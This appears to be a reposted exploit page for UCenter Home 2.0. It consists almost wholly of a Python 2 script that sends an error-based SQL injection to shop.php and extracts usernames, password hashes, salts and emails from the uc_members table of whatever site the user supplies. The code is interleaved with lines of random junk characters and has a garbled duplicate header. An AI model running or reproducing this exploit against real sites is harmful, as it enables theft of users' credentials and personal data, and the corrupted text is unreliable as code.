UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
$ f. D1 J8 _" x$ v& x6 [) P! R  x

#!/usr/bin/env python  
& v9 s6 v0 ?. C0 G& s5 J7 \$ C  Q
# @/ A: I, K' R2 }- n; k6 @( s! U  Limport sys  
import urllib2  
. r1 D1 k3 w- u9 e* nimport re  
( O6 R3 N+ C3 h+ ^: Z, J, s0 W
, h% `) I+ @$ Y6 edef info():  
    print 'From:http://www.exploit-db.com/exploits/14997/'
7 W. c# C+ X; l    print 'http://www.hake.cc/Web_loudong/'
/ ?2 g7 O2 R1 ]1 j$ c    print 'changed:qiaoy'  
    print 'exp:'  
    print ' ./UCenter_Home_2.0.py site'  

; ]9 u2 [, |6 ^- F5 m. X  Q/ Fdef main():  
    if len(sys.argv) != 2:  
        info()  
! D3 L* l+ e/ W- @    else:  
' z+ s7 P0 w6 u% _$ l. o        site = sys.argv[1]  
) {1 O. V6 l5 ~0 \9 x3 H9 y  p3 H# d        if site[0:7] == 'http://':  
            sitesite =site  
( _* F7 a+ S  m. x- T: f3 H  Q: ]        elif site[0:8] == 'https://':  
% Q9 I. u; Q2 W) s" G            sitesite = site  
3 u  a) G1 W' M; M; z        else:  
            site = 'http://'+site  
        try:  
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
            Value = urllib2.urlopen(url).read()  
( B  D; L+ E9 }5 r+ r9 H9 k            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
, H" {0 f" D* ~$ d1 D4 j- Y2 D            hacked = Msg.split(':')  
5 G& ?+ V% O% L- ?7 Z            print 'Name:    '+hacked[1]  
            print 'Passwd:  '+hacked[2]  
            print 'salt:    '+hacked[3]  
            print 'email:   '+hacked[4]  
' }1 e* _! k! a$ f0 M: y, k* O7 u        except:  
            print 'Sorry,I can\'t work............'  

0 ~- ~# e0 r* uif __name__ == '__main__':  
7 f( @& y8 x7 ?5 e    main()